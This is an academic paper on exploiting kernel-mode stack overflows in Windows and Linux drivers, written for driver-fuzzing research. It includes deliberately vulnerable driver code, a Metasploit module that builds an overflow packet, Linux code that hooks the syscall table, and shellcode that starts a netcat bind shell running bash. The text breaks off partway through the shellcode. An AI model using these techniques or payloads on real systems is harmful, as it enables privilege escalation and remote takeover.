Kernel-mode exploits primer

Sylvester Keil[*] Clemens Kolbitsch[†]

Secure Systems Lab, Technical University Vienna
SEC Consult Unternehmensberatung GmbH

Abstract

This paper investigates the process of exploiting kernel-mode vulnerabilities on Windows and Linux. First, the common elements of kernel-mode exploits will be introduced. Issues of Windows driver programming and exploiting Windows kernel-mode vulnerabilities with the Metasploit framework will be addressed next, followed by a description of an example exploit. Then, the focus will shift to Linux and a discussion of possible vulnerability types in kernel-mode. Finally, the integration of Linux kernel-mode exploits with the Metasploit 3.0 framework will be discussed on the basis of an exemplary exploit.

1 Introduction

Recent years have seen a dramatic rise of awareness for security issues in academia, the software industry and the media. Considerable amounts of research have been dedicated to the detection and prevention of vulnerabilities, while exploitation techniques and defense strategies alike have become increasingly more creative and sophisticated. Over time, even complex techniques such as exploiting heap overflows have been well documented and efficiently automated: what once required a substantial level of technical proficiency is now available at the fingertips of everyone capable of installing the right tools or conveniently included in self-spreading Internet worms. Obviously, the progress of attackers has been matched every step of the way by new developments in intrusion detection and advancements in fields that have been traditionally been victimized (such as memory management). It has been pointed out[3], however, that the spotlight of research has previously most prominently been directed at user-space applications, and that a shift of interest towards issues in kernel-mode is inevitable. One could argue that today this shift is already in full swing as discussions of kernel-mode exploitation on all operating systems are being published (e.g. [15], [3], or [11]).

Operating systems' kernels undeniably rank among the more prestigious pieces of software. Typically, kernel developers are extremely advanced programmers equipped with a wealth of experience, and their contributions are subject to thorough code audits and strict security guidelines. So, why make kernel-mode vulnerabilities for such attractive targets?

No doubt responsible for their high appeal is the fact that a payload executed in kernel-space can effectively outmaneuver virtually any security mechanism in place on the target, because it can assume complete control over the system. But why invest so much energy into the design of exploits if vulnerabilities in kernel-code are extremely rare, if there is no useful entry point for the exploits to be found? While kernel-code itself is traditionally relatively more secure than most user-space applications, all modern kernels follow a modular approach, i.e. they usually provide a framework to insert modules into the kernel. The need for such a framework is perhaps most apparent in the case of device drivers: operating systems are generally expected to support a wide range of hardware and devices; obviously, it is impossible for kernel developers to have intricate knowledge of every little device available and it is usually the responsibility of hardware manufacturers to provide device drivers that support their products. Naturally, this only works if there is a well defined interface to insert software modules into the operating systems' kernels. Device drivers and third-party modules constitute a considerable part of today's kernels, a part that is often not subject to the same high level of security awareness as proper kernel-code. Needless to say, however, that from an attacker's perspective a device driver flaw is no less valuable than a kernel flaw.

Another factor that features prominently in the list of potential reasons for the rising interest in kernel-mode vulnerabilities is the increasing popularity of 802.11 wireless devices. Wireless device drivers are typically executed in kernel-space, 802.11 is a relatively complex set of protocol specifications in comparison to other level 1/2 protocols, attacks on 802.11 device drivers requires neither physical access nor an established network connection and potential vulnerabilities in the driver are usually accessible by anyone

[*]sk@seclab.tuwien.ac.at
[†]ck@seclab.tuwien.ac.at

close enough to establish a wireless link, to name only a few reasons why 802.11 device driver vulnerabilities seem such an attractive target. Like any device for network communication, wireless devices rely on specific communication protocols which state how certain goals (i.e. finding available networks, connecting to a secured network, exchanging data etc.) can be achieved. These protocols lay down all rules and limitations imposed on each message and define common structures. Quite often, drivers rely heavily on their communication partners' strict adherence to these structures and rules. Obviously, this works fine as long as no partner violates any of the restrictions. Sometimes however, hardware devices may not function properly or drivers fail to behave as expected or to follow the mandatory structures. This can lead to problems or even system crashes on the receiving end of the communication. When deliberately crafting a malformed packet and sending it to a vulnerable host (i.e. a machine using a poorly programmed device driver) an attacker cannot only crash the receiving host but may even be able to run arbitrary commands by using a buffer-overflow.

Obviously, developing an exploit is useless as long as no vulnerability is known to serve as foundation for the exploit. Furthermore, it is not worthwhile to create new exploits for already well-known problems as there are typically already exploits available, not to mention that patches and updates have usually been released to work against such an attack. It should come as no surprise, then, that this paper has a connection to finding new wireless device driver vulnerabilities: in a related project[10] we are currently investigating into a new and efficient means to fuzz[1] wireless device drivers in an emulated environment. We hope that it will be possible to easily find potential vulnerabilities using our fuzzer. In order to test whether a vulnerability is harmful we want to be able to efficiently create proof-of-concept exploits, and this is where the present work comes into play: this paper will describe the process of exploiting vulnerabilities in kernel-mode. Following the approach presented by [3] we want to create a framework that allows for execution of user-space payloads in kernel-mode on Linux systems. In the following sections we will explain the general ideas behind the approach, followed by an in-depth description of an exemplary Windows- and Linux-exploit.

2 Windows kernel-mode exploits

In [2] bugcheck and skape discuss the theory of kernel-mode exploits on Windows at great length. There is also plenty of material about extensive research of this topic before and after them available from other sources (e.g., see [8], [3], or [5]). Not surprisingly, the Windows kernel-mode exploits available from the Metasploit framework today are based on considerable portions of the work above. Since we will be using the Metasploit exploits later on, we will dedicate this section to an overview of some of the important theoretic principles of these exploits. For further details on most of the issues introduced here, refer to [2].

Kernel-mode exploits tend to be relatively more involved than their respective counterparts in userland. The reason for this, quite obviously, lies in the complexity of kernel-space itself. For example, what if the exploit's payload is executed in the context of an hard- or software interrupt? Furthermore, kernel libraries and interfaces are very different from those available to user-applications. Ironically, this fact weighs so heavy that a kernel-mode exploit will typically try to safely return to user-space to execute code. As described in [3] this reason was also in the way the new Metasploit framework handles kernel-mode exploits: in a nutshell, the idea is to load a regular user-space payload (of which there is an ample supply in the framework) and create an environment from within kernel-mode that is able to execute the payload. In essence, this process consists of four distinct components; bugcheck and skape [2] speak of: migration, stager, recovery, and stage. Depending on the actual vulnerability only a subset of these components may be required for successful exploitation.

The first step, *migration*, is unique to kernel-mode exploits. Contrary to user-space, a process in kernel-space may be executing in the context of a hard- or software interrupt — the Windows kernel in particular operates on so called *interrupt request levels* (IRQL). This may have significant consequences: for example, a process running at a certain IRQL may not be able to block, reference certain memory ranges, or to call important library routines. That is to say, it may be necessary for an exploit to work to be executed at a lower IRQL than where the exploit originally occurred. Obviously, one possibility to achieve this is by *migrating* the payload into a different context to be executed. In general, there are different strategies to choose from — which one to apply is usually dependent on the exploit in question. Here are some migration strategies described in [2]:

- It is possible to **directly adjust the IRQL**. While this is perhaps the easiest and most straight forward approach, it may potentially result in serious crashes or deadlocks if simply leaving the higher IRQL leads to an illegal state (e.g. if the interrupt had acquired a lock prior to the exploit that now unexpectedly stays in place).

- Another popular technique of payload migration works

[1]*Fuzz testing*, or simply *fuzzing*, is a software testing technique developed at the University of Wisconsin-Madison that has proved particularly effective in detecting potential security vulnerabilities in protocol implementations.

by **System call hooks**. Basically, the idea is to replace the pointer to the system call dispatcher routine with a pointer to the payload. Obviously, the payload must be copied to a readily accessible and unused location for this to work.

- The next scenario discussed by bugcheck and skape involves Windows' **thread notify routine**. Analogously to the system call hooks described above, for this strategy to work the payload must be copied to a suitable memory location, where it will be available when the notify is called. Depending on the Windows version the process of registering a thread notify routine differs (see [2] for details), but in essence a callback structure or a simple pointer to the payload must be installed, so that the payload will be called every time a thread is created or deleted.
- In [5] Conover suggests yet another similar technique: **hooking object type initializer procedures**. The idea here is to replace callbacks in the object manager for a certain object type. That way, the payload will be called for example every time an object of the respective type is created.

During the *migration* phase of the exploit, we already mentioned that it may be necessary to copy a part of the payload to an easily accessible memory location to be executed later in a safer context. The component of the exploit that is responsible for this process is also known as the *stager*. Typically the code to be copied by the stager will come piggy-backed with the stager itself, but it may as well have been planted in advance or be otherwise present somewhere in the address space already. Usually, a stager will try *staging* a payload from kernel- to user-space, i.e. in order to allow for well known payloads to be re-used in kernel-mode exploit scenarios. Not surprisingly, stagers come in different flavors, for example:

- The first approach works in combination with the system call hook migration technique described earlier, bugcheck and skape call this the **system call return address overwrite** stager [2]. Again, the first step is to copy the payload to be executed to a suitable memory location. In this case we are dealing with a user-space payload, so the location should be somewhere in the user part of the virtual memory address space. Next, the hook for the system call instruction must be set. Now, when a system call is executed, the hooked routine alters the return address of the user-mode stack to point to the payload. Also, the original return address must be saved somewhere in order to divert back to the calling process after the payload has executed successfully. When this is done, the hooked routine calls the system call as usual. When the call returns it will return via the payload back to the original process.
- The next technique is mentioned in [2] and discussed at length in [8], **Thread Asynchronous Procedure Calls** (APC). Once again, the payload must be stored somewhere in userland. Then, a suitable thread within a user-mode process must be identified. For obvious reasons this should be a privileged process in most cases. Furthermore, the thread in question must be in the alertable state, in order to allow for an APC being queued to it. In a nutshell, the stager has initialize the APC structure and point the APC routine to the payload's location. Finally, the APC must be added to the thread's APC queue, and the payload will be executed in the context of the privileged user-mode process.
- A **user-mode function pointer hook** is another option for a stager, if the exploit is already executed in the context of a process. Basically, the stager could redirect any function pointer of that process to the user-mode payload. Obviously, this approach depends very much on the vulnerable process itself.
- Very effective, from an attacker's perspective, is the ***SharedUserData*** **system call hook**. The *SharedUserData* structure on Windows XP starting with SP0[2] contains function pointers to the system call dispatcher and return routines at a well known offset; these pointers are used by all system call stubs [2]. The stager itself works as follows: at first, as usual, the user-mode payload must be copied to an appropriate memory location; secondly, the function pointer to the system call dispatcher must be changed to the new location of the payload; at the end of the payload a jump instruction to the real dispatcher routine must be added, in order for the system calls to still be processed. A big advantage of this staging technique is that it does not require prior migration, because *SharedUserData* cannot be paged out and can therefore be accessed regardless of the IRQL [2].

So far, we have frequently mentioned the payload that will ultimately be executed, so a few words on the topic seem in order. Obviously, the whole point of the exploit is to execute this payload. After migration, the stager puts the payload in place and ensures that it will be executed either in user- or kernel-mode in the desired context. As you will probably have guessed by now, this payload is also called the *stage* component of the exploit. Usually, the stage will

[2]Actually, SP0 featured an executable *SharedUserData* which directly executed the *sysenter* instruction. Since XP SP2 and 2003 SP1, however, this instruction set has been replaced by function pointers, because it is now possible to mark *SharedUserData* non-executable in the Permission Table [2].

be a regular user-mode payload, i.e. it may open a reverse shell or carry out another nefarious deed of your choice. If the stage is designed to run in kernel-mode the staging prior to its execution may not be necessary. See [8] for a number of examples of actual kernel-mode stages.

Up until now, we have given an overview of a number of techniques used to install and execute a kernel-mode exploit's payload. An important issue that we have not addressed yet, is the issue of graceful *recovery* from the exploit process. For obvious reasons it is not an option to simply let the kernel crash after the stage has been installed, as this will only lead to a BSOD and the stage may never even be completed.

Evidently, recovery techniques depend intimately on the type of exploit and where it occurs in the kernel: a stack overflow will require different steps to be taken to resume ordinary control flow than, for example, a heap overflow. In fact, individual recovery strategies may differ to such an extent from each other (depending on the actual exploit they are suited to recover from) that the question whether or not it is feasible to design generic recovery payloads that work efficiently for a range of exploits, is very much in controversy. Nevertheless, [2] discusses a number of scenarios with potentially useful recovery strategies. If the vulnerability is in the context of a function that is assigned to an exception handler, an easy recovery might be to simply trigger an exception, and the computer will not crash. Other scenarios include to force a system worker thread to restart execution at its entry points, or, in cases where the vulnerability does not occur in a system-critial thread, to cause the thread to spin or block indefinitely (for details see [2]). The problem of all of these scenarios is their dependence on no locks being held: it would be disheartening indeed, to recover eleganlty from the exploit only to be caught in a deadlock. For this reason, it would be desirable to have a simple and efficient means to generically release all locks currently held by the thread of execution in which the vulnerability occurs. However, we are not aware of an elegant solution of this issue.

2.1 Windows driver programming

A lot of information on how to write Windows drivers is available from [16]. We used the Kernel-Mode Driver Framework of the Windows Driver Foundation to write a simple driver for a file device. With the driver in place, we had to create a vulnerability to exploit. In section 3.2 we describe types of kernel-mode vulnerabilities on Linux; in theory, these types also apply to Windows, albeit with a few differences. For the present work, we decided to focus on stack-overflow vulnerabilities. For this reason we created a vulnerable function to be called by the *SioctlDeviceControl* assigned to our file device.

```
NTSTATUS
SioctlDeviceControl(
  IN PDEVICE_OBJECT DeviceObject,
  IN PIRP Irp
  )
{
  PIO_STACK_LOCATION  irpSp;
  NTSTATUS            ntStatus = STATUS_SUCCESS;
  ULONG               inBufLength;
  PCHAR               inBuf;
  PMDL                mdl = NULL;
  PCHAR               buffer = NULL;

  irpSp = IoGetCurrentIrpStackLocation(Irp);
  inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
  if (!inBufLength)
  {
    ntStatus = STATUS_INVALID_PARAMETER;
    goto End;
  }

  switch (irpSp->Parameters.DeviceIoControl.IoControlCode)
  {
    case IOCTL_SIOCTL_METHOD_IN_DIRECT:
      inBuf = Irp->AssociatedIrp.SystemBuffer;
      buffer = MmGetSystemAddressForMdlSafe(Irp->MdlAddress,
        NormalPagePriority);

      if(!buffer)
      {
        ntStatus = STATUS_INSUFFICIENT_RESOURCES;
        break;
      }

      PointOfNoReturn(inBuf, inBufLength); (A)

      Irp->IoStatus.Information = 3;
      break;

    default:
      ntStatus = STATUS_INVALID_DEVICE_REQUEST;
      break;
  }

End:
  Irp->IoStatus.Status = ntStatus;
  IoCompleteRequest( Irp, IO_NO_INCREMENT );
  return ntStatus;
}
```

The function *PointOfNoReturn* that is called at (A) is our vulnerable function. If the information read from the device is large enough, i.e. if *inBufLength* is greater than 256, there will be a stack-overflow in *PointOfNoReturn*.

```
void PointOfNoReturn(PCHAR buffer, ULONG bufferlen)
{
  ULONG i;
  CHAR wayTooSmallBuffer[512];
  memcpy(wayTooSmallBuffer, buffer, bufferlen);
}
```

In order to simulate a remote exploit, and to enable us to use a separate machine to deliver the exploit, we also added a second windows application that would open a socket, wait for incoming messages, and forward them to the file device.

2.2 Exploiting the driver

A lot of the research presented in [2] and [3] has found its way into the Metasploit framework. Starting with version 3.0 it is possible to use the framework for kernel-mode exploits, with many Windows modules (e.g., stager, recovery etc.) already included. In section B.1 we provided a general introduction to the Metasploit framework, here we will explain how we can use it to exploit our stack-overflow vulnerability.

The new kernel-mode exploits in Metasploit all make use of the mixin module *Exploit::KernelMode*. Basically, the mixin replaces the selected payload by a new kernel-mode payload that encapsulates the original code. Currently, the available payloads include recovery and stager code for Windows XP SP2/2K3 SP1[3]. Recovery works either by thread spinning (this may affect system performance and could result in a deadlock) or restarting the idle thread by jumping back to the entry point of *KiIdleLoop* (the correct address of this symbol must be set in advance). As regards stagers, we have already explained that they are responsible of *staging* the final payload. i.e. to copy it to a suitable location and execute it directly or indirectly. The currently available Metasploit stager **sud_syscall_hook** stages a user-mode payload in an unused portion of *SharedUserData* and points the *SystemCall* attribute to it. In a nutshell, this will result in the payload's execution every time a user-mode process makes a system call. Additionally, the stager checks that it is actually running in the context of a user-mode system process before running the embedded payload, and it utilizes one of the above recovery techniques.

So, how can we use all these elements to actually exploit our vulnerability? Basically, we need to write a new Metasploit module that includes the *Exploit::KernelMode* mixin. Such a module might look as follows:

```
require ’msf/core’

module Msf

class Exploits::Windows::Driver::VulnDriver_Windows < Msf::Exploit::Remote

include Exploit::Remote::Tcp
include Exploit::KernelMode

def initialize(info = {})
  super(update_info(info,
    ’Name’           => ... ,
    ’Description’    => ... ,
    ’Author’         => ... ,
    ’License’        => MSF_LICENSE,
    ’Version’        => ... ,
    ’References’     => ... ,
    ’Privileged’     => "true",
    ’DefaultOptions’ =>
      {
        ’EXITFUNC’ => ’thread’,
      },
    ’Payload’        =>
      {
        ’Space’    => 400,
      },
    ’Platform’       => ’win’,
    ’Targets’        =>
      [
        # Windows XP SP2 install media, no patches
        # 5.1.2600.2180 (xpsp_sp2_rtm_040803-2158)
        [ ’Windows XP SP2 (5.1.2600.21800), A5AGU.sys 1.0.1.41’,
          {
             ’Ret’      => 0x804ed5cb, # jmp esp
             ’Platform’ => ’win’,
             ’Payload’  =>
             {
               ’ExtendedOptions’ =>
               {
                 ’Stager’       => ’sud_syscall_hook’, (A)
                 ’PrependUser’  => "\x81\xC4\x54\xF2\xFF\xFF", # add esp,
                        -3500
                 ’Recovery’     => ’idlethread_restart’, (B)
                 ’KiIdleLoopAddress’ => 0x804dc0c7, (C)
               }
             }
          }
        ]
      ],
    ’DefaultTarget’ => 0
    ))

  register_options(
    [
      Opt::RPORT(55555)
    ], self.class)
  end

  def exploit
    connect
    sock.put(create_packet)
    handler
    disconnect
  end

  ...

end
end
```

Notice how, in the *initialize* function we are defining stager and recovery modules to be used (at A and B). Furthermore, at (C) *KiIdleLoopAddress* must be set according to the target operating system for the recovery to work. Since we are using TCP to transmit the exploit, we are using Metasploit's *Exploit::Remote::TCP* mixin, which supplies a number of convenient functions (e.g., connect, disconnect etc.). The *exploit* function itself is trivial: simply connect to the target, deliver the exploit and disconnect. Obviously, the interesting stuff happens in *create_packet* which needs to be defined to complete our module.

```
1   def create_packet
2     # fill up the buffer
3     buf = rand_text(512)
4
5     # Return address is a jmp ESP
6     buf += "AAAA"     # saved stack frame
7     buf += [ target.ret ].pack(’V’) # return address
8
9     # add padding that overwrites the arguments passed
10    # to the vulnerable function on the stack
11    buf += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
12
13    # append the payload
14    buf += payload.encoded
15
16    buf
17  end
```

The first part of the packet contains enough random bytes to fill up the buffer in our vulnerable device. Then, comes the actual exploit: we overwrite the return address on the stack with the address[4] of a *jmp *esp* instruction. The padding on line 10 we found to be necessary. Finally, the payload is appended at the end of the packet. Remember, that this payload can be any user-mode payload available in Metasploit, and is wrapped by the kernel-mode exploit module. In other words, the entire exploit packet on the wire will look something like this:

```
    .. .. .. .. .. .. .. ..
    .. .. .. .. .. .. .. ..
    .. .. .. .. .. .. .. ..
    .. .. .. .. .. .. .. ..    # 512 random bytes
    41 41 41 41 CB D5 4E 80    # saved eip and ret
    90 90 90 90 90 90 90 90    # padding
    90 90 .. .. .. .. .. ..
    .. .. .. .. .. .. .. ..    # sud_syscall_hook stager
    .. .. .. .. .. .. .. ..    # idlethread_restart recovery
    .. .. .. .. .. .. .. ..
    .. .. .. .. .. .. .. ..    # stage (any user-mode payload)
    .. .. .. .. .. .. .. ..
```

Now, an actual exploit scenario may be as follows: load the the vulnerable driver on the target machine. Log in as a regular user (no superuser privileges) and start the client application that listens for an incoming exploit; this ensures that the exploit will be triggered by an unprivileged user. On the attacking machine, start Metasploit select the exploit and a suitable payload, e.g. a remote reverse shell and

[3]There is also a migration module included in version 3.0 but was not implemented at the time of writing.

[4]Obviously, this address must be known in advance. In our example, the value is set in the *initialize* function. For our Windows XP SP2 target we picked the address *0x804ed5cb*.

launch the attack. If everything works, the attacker is now able to send arbitrary commands to the target. These commands will be executed without the limitations of the user who triggered the exploit.

3 Linux kernel-mode exploits

Like on Windows, considerable amounts of research have been dedicated to a close investigation of the intricate workings of kernel-mode exploits on Unix and Linux systems, e.g. see [9], [15], [14]. Despite this, Metasploit does not yet include modules and wrappers for kernel-mode exploits on Linux. In our present and future work, we hope to help add this missing functionality to the framework. In the following sections, we will discuss a number of general issues that come into play when trying to exploit vulnerabilities in Linux kernel-space, and document the process of developing and exploiting a vulnerable driver, modelled on the example presented in the previous chapter.

3.1 Linux device drivers

Linux distinguishes between three different classes of devices: character, block and network devices. Typically, driver code that manages access to these devices lives in modules. Linux kernel modules can either be loaded and unloaded at run-time, or be compiled into a monolithic kernel.

The distinction into three classes is necessary, because devices and the way the operating system accesses them can differ considerably. Here is a quick overview of the three classes (for more detailed information on Linux device drivers refer to [7]):

Character devices. Similar to a file, this type of device can be accessed as a stream of bytes. A character (char) device is represented in the Linux filesystem by a node with a major- and a minor-number. Typically these nodes can be found in the */dev* directory, for example

```
crw-rw-rw- 1 root root 5, 0 2007-09-30 12:50 /dev/tty
```

is a character device (indicated by the ”c” at the beginning of the permission field) with a major-number of 5 and a minor-number of 0. These filesystem nodes are either created by the kernel at boot-time (e.g. in the case of a serial port) or by the user. In order to access a device a module registers itself in the kernel with the node’s major-number, i.e. when it is loaded the module lets the kernel know that it will be responsible for a node with a certain major-number. Minor-numbers are used to differentiate between multiple devices or nodes within a module responsible for the respective major-number.

In addition to registering with the correct major-number, a char module usually implements at least the *open*, *close*, *read*, and *write* system calls. Unlike a regular file, char nodes can generally be accessed only sequentially (although exceptions are possible).

Block devices. From a user’s perspective, block devices seem very similar to char devices: they are also represented by filesystem nodes, as in

```
brw-rw---- 1 root disk 8, 0 2007-09-30 12:34 /dev/sda
```

with major- and minor-numbers (but notice the ”b” at the beginning). Unlike char devices, however, block devices (like hard-disks) can host a filesystem and support only I/O operations that move entire blocks of data. This fact is usually hidden to user-space applications and only apparent in the way data is managed internally by the kernel and the module.

Network interfaces. The different nomenclature already hints at the different nature of network modules as opposed to the two classes described above. Typically, a network *interface* is a hardware device capable of transferring data to and from other hosts in a network (although exceptions are possible, e.g. the loopback interface). These interfaces have no direct representation in the filesystem, because they are not stream-, but packet-oriented. As such, they depend on inherently different I/O operations and are typically made available to the system not via the filesystem, but by a unique interface name (e.g. eth0).

3.2 A simple character device driver

In the introduction we briefly mentioned our related project of fuzzing wireless device drivers [10]. While our work ultimately aims at automated exploitation of vulnerabilities of wireless drivers detected by our fuzzer, it is our intention, at this point, to create a framework that allows for exploitation of vulnerabilities in kernel-space in general, not limited to vulnerabilities that occur in a wireless network device driver. Because char modules are less complex than their network counterparts, and because it is considerably easier to set up a test-environment using char nodes, we decided to begin by exploiting a flaw in a char device driver. Future work will include network modules for testing as well.

Having decided upon the type of module to act as target for the exploit, we faced the question of what class of vulnerability to choose. But what kind of vulnerabilities are there in Linux kernel-space? In [15] sgrakkyu and twiz identify four categories into which to place flaws in the kernel:

- **NULL/user-space dereference vulnerabilities** occur if a stray pointer into a part of the virtual address space reserved for user-space is used. By mmapping the respective virtual memory page it is possible to make the kernel access "valid" malicious data. If the pointer's dereferencing occurs in the context of an instruction pointer modification an exploit is possible by simply placing shellcode at the desired memory location. If the dereferencing of the pointer does not involve direct instruction pointer manipulation, it may still be possible to exploit the vulnerability by way of a controlled write of arbitrary (or not so arbitrary) data to kernel-space.

- **Heap-** or **slab-overflows**. Although it is probably going to be replaced by the new SLUB allocator in the near future, most Linux systems today use the SLAB allocator to accelerate the allocation and deallocation of small memory objects. Basically, this allocator introduces a new level of abstraction by managing continuous memory pages and providing an interface to kernel processes to *allocate* and *free* memory faster and more efficiently. More detailed information about kernel memory management and the slab allocator is available from [1] or [7]. In theory, slab-overflows function similarly to heap-overflows in user-space applications: the overflow occurs when data is written beyond the boundaries of a memory object previously allocated by *kmalloc*. This can lead to different exploitation scenarios (see [15] for an in-depth discussion and a working exploit).

- Theoretically, **stack-overflows** in kernel-space work no differently from stack-overflows in userland. The main difference, however, is the kernel-stack itself: on Linux it is usually only one or two pages (i.e. 4 or 8 kilobytes) in size, and one characteristic of kernel code often is to use as little stack space as possible. With the exception of frame pointers (the Linux kernel is compiled with *-fomit-frame-pointer*) a kernel stack-overflow vulnerability could allow overwriting of the saved instruction pointer or some variable. Because of the kernel-stack's limited size, the overflow could also result in the overflowing of the memory allocated for the kernel-stack itself. Stack overflows in kernel-space are discussed in [9] by noir in more detail and also further below.

- A fourth category is set aside for different kinds of **logical bugs** (in [15] sgrakkyu and twiz elaborate on **race conditions** in particular). These kinds of bugs are difficult to define, because essentially every bug is unique and cannot usually be exploited directly, but rather has the potential to result in another class of vulnerability eventually (typically an overflow).

For the scope of this paper we decided to focus our attention particularly on stack-overflows (future work will include other types of vulnerabilities). One reason for the strong appeal stack-overflows had on us, is the fact that after trashing the stack and hijacking the control-flow it is mandatory to return safely (otherwise the system will become unusable). But more about this further below. Another reason for our choice was that we wanted to use the same type of vulnerability as on windows (see above).

In order to start having fun with kernel-mode exploits we wrote a simple dummy char module and created a node to access it from the filesystem. In the module's *write* function, i.e. the function that handles writes to the node/device, we copied the input into kernel-space and used it to call our vulnerable function, where it would then be written to a buffer on the stack. At this point, it was possible to overwrite the function's saved instruction pointer, simply by writing to the filesystem node.

```c
static ssize_t
dev_write(
  struct file* filp,
  const char* msg,
  size_t length,
  loff_t* offset
  )
{
  int bytes_written = 0;
  char* ptr = buffer;

  /* make sure we do not overflow the static buffer */
  if (length > MAX_LEN) length = MAX_LEN;

  while (length) {
    get_user(*(ptr++), msg++); (A)
    length--;
    bytes_written++;
  }

  /* call the vulnerable method */
  PointOfNoReturn(buffer, bytes_written); (B)
  return bytes_written;
}
```

The listing above shows the function assigned to *struct file_operations.write*. As you can see, at (A) we are copying the input from user-space into a static buffer in kernel-space. At (B) we call the same vulnerable function we used for the Windows exploit earlier. If the length of *buffer* exceeds 512 the kernel-stack in *PointOfNoReturn* will overflow.

In order to allow us to send exploit-code from a remote host, we again wrote a simple helper-application that would open a TCP port and wait for incoming exploit packets to write to the vulnerable device. So, with all the pieces in place, we were again ready to start with the exploit.

3.3 Exploiting the driver

Because the Metasploit framework had worked so well for the Windows exploit, we decided to try to base a Linux exploit as closely as possible on the techniques described in chapter 2. We resolved, in other words, to "port" the Windows exploit over to Linux, by retaining the logical distinction between migration, stager, recovery and stage and using Metasploit as a framework for the exploit. This section will document this process.

3.3.1 Migration

Migration was not necessary for our exploit, but it is definitely an issue that also applies to Linux kernel-mode exploits. We plan to address it in our future work.

3.3.2 Stager

For our stager we chose to use a similar approach as with the Windows exploit, i.e. installing a **system call hook**. The first problem to solve when attempting to install the hook, is to actually find the system call table. Typically, the *sys_call_table* symbol is not exported to LKMs anymore and its location obviously varies from installation to installation. In a word, it is necessary to search the kernel address-space for its actual location. To do this, we used an adjusted version of the excellent method presented in [14]. Because Linux supports user-mode programs to issue a system call via interrupt number 128 (by using the assembly instruction *int $0x80*) the respective interrupt handler (the system call dispatcher) must call the correct system call. To achieve this, the dispatcher routine reads the system call id from the register *eax* and uses it as an offset from the base address of the system call table. That is to say, somewhere close to the beginning of the system call dispatcher routine there is the following instruction:

```
ff 14 85 XX XX XX XX      call <sys_call_table>(,%eax,4)
```

Where *XX XX XX XX* is the address of system call table. That is to say, if one finds the dispatcher routine, the address of *sys_call_table* can be found by a pattern matching algorithm. That being said, the system call table can be located as follows:

1. **Find the Interrupt Descriptor Table**. Linux initializes the IDT during system initialization and saves the location in the *idtr* register [1]. The assembly instruction *sidt* provides reading access to this value[5].

2. **Find the system call dispatcher**. In Linux, the IDT is stored in the *idt_table* symbol. It consists of 256 8-byte *idt_descr* elements [15], the 128th of which contains a pointer to the system call dispatcher routine.

3. **Find the system call table**. As we mention earlier, the dispatcher routine will issue a call that follows the above pattern. That means we can search the beginning of the function for the call and extract the address of the system call table from it.

The following code listing illustrates this process further:

[5]When experimenting in the kernel-space, numerous crashes and reboots are inevitable. For this reason we did most of our work in a virtual environment (using QEMU), and we should point out the *sidt* assembly instruction will probably not work as expected on a virtual host.

```
struct {
  unsigned short limit;
  unsigned int base;
} __attribute__ ((packed)) idtr;

// an interrupt gate descriptor
struct {
  unsigned short off1;
  unsigned short sel;
  unsigned char none, flags;
  unsigned short off2;
} __attribute__ ((packed)) *igd;

static unsigned long** sct(void)
{
  int i = 0;
  unsigned long *sys_call;
  unsigned long **sys_call_table;
  unsigned char *p;

  // (1) find idt_table
  __asm__("sidt %0" : :"m"(idtr));

  // (2) find system_call
  igd = idtr.base + 8*0x80;
  sys_call = (igd->off2 << 16 ) | igd->off1;

  // (3) find sys_call_table
  // ff 14 85 XX XX XX XX     call <sys_call_table>(,%eax,4)

  sys_call_table = 0x0;
  p = (char*)sys_call;

  // check the first 100 bytes in system_call
  for (i = 0; i < 100; ++i) {
    if ((*(long*)++p << 8) == 0x8514ff00) {
      sys_call_table = *(long*)(p+3);
      break;
    }
  }
  return sys_call_table;
}
```

As you will remember, the whole idea of the *stager* component is to set up a (user-mode) payload to be executed later. With the address of the system call table in our possession, we are now able to install hooks for our payload to be executed later, but a number of questions remain: which system call to install the hook for? Where should we store the payload? And how can we ensure that privileged user-mode code-execution is possible?

In answer to the second question, we took up the suggestion in [15] and used the IDT to store our payload. We already mentioned, that the IDT consists of 256 8-byte entries. Because the entries between number 33 and 127 are currently unused by Linux, there should be roughly 800 bytes of space available for our purposes. So, in other words we can copy our payload to this address (assuming *idtr* was initialized, see above):

```
igd = idtr.base + 8 * 0x33;
payload_address = (igd->off2 << 16) | igd->off1;
```

The other two questions we solved by hooking the *sys_execve* system call. Since the values in *sys_call_table* are unlikely to change, we assume it is safe to simply change the *__NR_execve* entry in order to install our hook. As observant readers will not fail to notice, our approach is a bit of a gamble, because we have no way of knowing which user will next call *sys_execve*. That is to say, code-execution may not happen in a superuser context. To address this and other issues, we intend to come up with further stager strategies.

The following code snippet illustrates how to install the system call hook:

```
sys_call_table[__NR_execve] = (unsigned int)((unsigned char*)
        payload_address);
```

3.3.3 Recovery

As we have already outlined in chapter 2, recovery from an exploit is of particular importance in kernel-space. At the time of writing, our exploit does not use any recovery strategies yet, i.e. the vulnerable module keeps crashing. In general, the situation is much worse on Windows (BSOD) than on Linux where the module crashes but the kernel *may* remain usable, but obviously this is not a satisfying solution.

[15] outlines a recovery strategy for stack-based exploits: basically, by preparing a valid fake stack it may be possible to return from the exploited process using the *iret* instruction. We plan to spend more research on this and other techniques in the future.

3.3.4 Stage

Once more, the stage itself is the easiest component. Since we are hooking the *sys_execve* system call we can basically run any program on the target machine. Ultimately, however, we want to be able to rely on all Linux user-mode payloads available in the Metasploit framework. For this, a separate kernel-mode wrapper for Linux will be neccessary.

Our current payload replaces the arguments to the *sys_execve* system call, restores the original system call hook (so that it will only be executed once), and calls the original system call (which will now execute the desired application).

The following payload, opens a remote shell with the privileges of the user who issued the system call.

```
/**
 * insert argv[0..6]... it will be copied from
 * this buffer during the stager
 */
"/bin/nc\x00"
"-l\x00"
"-p\x00"
"10000\x00"
"-e\x00"
"/bin/bash\x00"

/**
 * restore the system hook to sys_execve
 */
/*
  unsigned int *p = (unsigned int*)sys_execve_backup;
  unsigned int call = p[1];
  p = (unsigned int*)p[0];
  *p = call;
 */
"\x8b\x15\xXX\xXX\xXX\xXX" // mov    <backup+4>,%edx
"\xa1\x00\xXX\xXX\xXX"     // mov    <backup>,%eax
"\x8b\x4c\x24\x08"         // mov    0x8(%esp),%ecx
"\x89\x10"                 // mov    %edx,(%eax)

/**
 * move filename and argv pointer somewhere
 * different so we don't overwrite anything
 * else if the new structure is bigger than
 * the old one...
 *
 * use some available (paged) user-mode memory.
 * in case the environment variables are stored
 * close by, let's try to not overwrite these by
 * using an offset of 256 (assuming we are on
 * stack, this might be a good value...)
 */
"\x8b\x44\x24\x08"     // mov    0x8(%esp),%eax
"\x2d\x00\x01\x00\x00" // sub    $0x100,%eax
